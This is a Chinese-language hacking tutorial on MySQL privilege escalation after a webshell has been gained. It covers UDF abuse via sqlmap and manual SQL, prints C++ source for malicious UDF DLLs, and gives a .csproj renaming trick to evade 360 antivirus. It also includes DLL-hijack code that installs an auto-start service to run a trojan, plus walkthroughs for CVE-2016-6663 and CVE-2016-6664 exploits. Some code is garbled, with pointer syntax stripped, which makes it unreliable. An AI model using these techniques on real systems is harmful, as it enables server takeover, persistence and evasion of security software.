本文将对mysql常见的提权方式进行讲解
mysql提权方式
mysql下常见的提权方法有:
- mof
- udf
- CVE-2016-6663
- CVE-2016-6664
因为mof提权只针对低版本系统,故本文不做论述,只针对后面的三种进行简单介绍。
udf提权
什么是udf:
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
提权原理:
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
ps:
language
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
利用条件:
(1)MySQL 数据库没有开启安全模式。
(2)已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。
(3)shell 有写入到数据库安装目录的权限。
(4)windows2003、windowsXP、windows7
漏洞复现:
操作系统版本:windows 2003
数据库版本:5.5.53
利用sqlmap进行UDF提权
sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell
如果提示:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
是因为你缺少相应的库,安装即可。
language
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
sqlmap内置的dll支持以下函数:
除了这些,其他有用的函数如下:
利用msf进行UDF提权
mysql_udf_payload模块,适应于5.5.9以下。
手动提权
大多数的大马目前都有这个功能了,我这里就用一个基础的大马来操作。
先导出dll,这里显示出错
错误码2,一般是没有plugin目录。可用流模式突破进而创建文件夹
SQL
select @@basedir;
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
大部分的马,已经集成了这类功能
然后我们只需将其导出即可。
然后创建函数:
SQL
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
执行查询
然后删除即可。
SQL
drop function shell;
delete from mysql.func where name='shell'
bypass360
360有时会拦截上传的马,将自己要提权的php脚本后缀修改为csproj 然后再通过包含文件即可绕过。
在这之前,我们先看一下udf dll的逻辑,也就是怎么编写一个这种东西。
首先定义主体:
```C++
HANDLE g_module;
//--------------------------------------------------------------------------------------------------------------------------
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
g_module = hModule;
}
return TRUE;
}
```
然后下面是udf独有的代码结构:
C++
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
//在open3389函数之前调用,一般用于初始化工作,为可选函数;
//return 1出错 ,0 正常
return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
//真正实现功能的函数,必需函数;
/*
函数内容;
return 结果;
*/
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
//在open3389函数之后调用,一般用于内存释放,可选函数;
}
大体上呢,就是这样。里面的就是套windows API就好了,注意里面的数据类型的转换。
比如一个读注册表的函数就可以这样写:
```C++
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT initid, UDF_ARGS args, char message)
{//return 1出错 ,0 正常
initid->max_length=6510241024;
return 0;
}
extern "C" __declspec(dllexport)char regread(UDF_INIT initid, UDF_ARGS args,char result, unsigned long length,char is_null, char error)
{
if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char )malloc(250);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"读注册表函数.\r\n例:select regread(\"HKEY_LOCAL_MACHINE\",\"SYSTEM\\ControlSet001\\Services\\W3SVC\\Parameters\\Virtual Roots\",\"/\");\r\n参数中的\"\\"要用\"\\\"代替.");
length=strlen(initid->ptr);
return initid->ptr;
}
DWORD a,b,c;
BYTE bytere[1000];
HKEY key,key2;
if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
key=HKEY_LOCAL_MACHINE;
else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
key=HKEY_CLASSES_ROOT ;
else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
key=HKEY_CURRENT_USER ;
else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
key=HKEY_USERS ;
else
{
initid->ptr=(char )malloc(50+strlen((args->args)[0]));
sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]);
length=strlen(initid->ptr);
return initid->ptr;
}
RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b);
if(b==REG_OPENED_EXISTING_KEY)
{
if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c))
{
CloseHandle(key2);
initid->ptr=(char )malloc(1001);
memset(initid->ptr,0,1001);
strcpy(initid->ptr,(char )bytere);
length=strlen(initid->ptr);
return initid->ptr;
}
else
{
CloseHandle(key2);
initid->ptr=(char )malloc(100);
strcpy(initid->ptr,"找不注册表值\r\n");
length=strlen(initid->ptr);
return initid->ptr;
}
}
else
{
CloseHandle(key2);
initid->ptr=(char )malloc(100);
strcpy(initid->ptr,"找不注册表项\r\n");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
```
比如,我们定义一个开进程的函数,本人vs坏掉了,就直接那包子师傅的代码过来了:
```C++
include "stdio.h"
include
include
include
include
include
include "mysql.h"
include "resource.h"
include
pragma comment(lib, "netapi32.lib")
pragma comment(lib, "Urlmon.lib")
HANDLE g_module;
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
g_module = hModule;
}
return TRUE;
}
extern "C" __declspec(dllexport)my_bool adduser_init(MSXU_INIT initid, MSXU_ARGS args, char message)
{//return 1出错 ,0 正常
initid->max_length=6510241024;
return 0;
}
extern "C" __declspec(dllexport)char adduser(MSXU_INIT initid, MSXU_ARGS args,char result, unsigned long length,char is_null, char error)
{
if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr = (char )malloc(200);
if (initid->ptr == NULL)return NULL;
strcpy(initid->ptr, "use:select adduser(\"path\")");
length = strlen(initid->ptr);
return initid->ptr;
}
else {
initid->ptr = (char )malloc(200);
if (initid->ptr == NULL)return NULL;
strcpy(initid->ptr, args->args[0]);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.dwFlags = STARTF_USESHOWWINDOW;
bool fRet = CreateProcess(args->args[0], NULL, NULL, FALSE, NULL, NULL, NULL, NULL, &si, &pi);
length = strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void adduser_deinit(MSXU_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
```
然后执行:
被拦截,然后我们使用mysql劫持notepad创建服务启动notepad,再用另一个notepad启动木马即可绕过。
```C++
include
pragma comment(linker, "/EXPORT:Scintilla_DirectFunction=_DLLHijacker_Scintilla_DirectFunction,@1")
define EXTERNC extern "C"
define NAKED __declspec(naked)
define EXPORT __declspec(dllexport)
define ALCPP EXPORT NAKED
define ALSTD EXTERNC EXPORT NAKED void __stdcall
define ALCFAST EXTERNC EXPORT NAKED void __fastcall
define ALCDECL EXTERNC NAKED void __cdecl
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = { 0 };
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("SciLexer1.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
//启动服务
BOOL StartSampleService()
{
SERVICE_STATUS status;
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); // 打开服务控制管
//理数据库,并返回服务控制管理数据库的句柄
if (schSCManager == NULL)
{
return FALSE;
}
SC_HANDLE schService = OpenService(schSCManager,"Socks5",SERVICE_ALL_ACCESS | DELETE); // 获得服务句柄
if (schService == NULL)
{
return FALSE;
}
QueryServiceStatus(schService, &status); // 获得服务的当前状态
if (status.dwCurrentState = SERVICE_STOPPED) // 如果服务处于停止状态,则将其状态设置为启动
//状态
StartService(schService, 0, NULL); //启动服务
CloseServiceHandle(schSCManager); // 关闭服务句柄
CloseServiceHandle(schService);
return TRUE;
}
using namespace DLLHijacker;
SC_HANDLE schSCManager;
SC_HANDLE schService;
VOID Hijack()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hServ = OpenService(schSCManager, "Socks5", SERVICE_QUERY_STATUS);
char path[256] = "C:/phpstudy/anzhuang/WWW/cmd/notepad++.exe";
if (!hServ)
{
SC_HANDLE schService = CreateService(schSCManager, "Socks5", "Socks5",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path,
NULL, NULL, NULL, NULL, NULL); //安装服务
}
CloseServiceHandle(schSCManager); //关闭服务句柄
CloseServiceHandle(hServ);
CloseServiceHandle(schService);
BOOL x= StartSampleService();
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load())
Hijack();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
ALCDECL DLLHijacker_Scintilla_DirectFunction(void)
{
__asm POP m_dwReturn[0 * TYPE long];
GetAddress("Scintilla_DirectFunction")();
__asm JMP m_dwReturn[0 * TYPE long];
}
```
CVE-2016-6663和CVE-2016-6664提权
CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。
CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。
导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。
可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限
CVE-2016-6663利用条件
- 1.已经getshell,获得www-data权限
- 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
- 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
- 4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664利用条件
- 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
- 2.需要在mysql权限下运行才能利用
- 3.Mysql<5.5.51或<5.6.32或<5.7.14
先pull一个lamp的环境:
启动并连接docker
language
docker run -d -P tutum/lamp
docker ps
docker exec -it <container_id> /bin/bash
然后安装一些依赖 wget、gcc、libmysqlclient-dev
然后写入一句话木马:
给权限:
language
chmod -R 777 /var/www/html
然后创建一个有权限的用户。
重启一下服务:
然后打包,重新启动:
访问,
链接刚才的webshell,权限为www-data
新建我们的exp( http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html)编译并运行:
```language
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost test
```
mysql提升为root权限
tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置
```language
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
```
删除掉syslog,然后重启mysql,
然后下载exp(CVE-2016-6664 exp网址:http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html)
language
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log
参考文章:
https://xz.aliyun.com/t/2719
https://xz.aliyun.com/t/739
http://www.aiyuanzhen.com/index.php/archives/174/
https://maikefee.com/archives/9ccf323f.html
http://what-when-how.com/Tutorial/topic-443fuj/MySQL-51-Plugin-Development-20.html
https://cloud.tencent.com/developer/article/1021193
https://osandamalith.com/2018/02/11/mysql-udf-exploitation/
http://www.ba0z1.com/archives/4.html
https://uuzdaisuki.com/2018/07/02/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论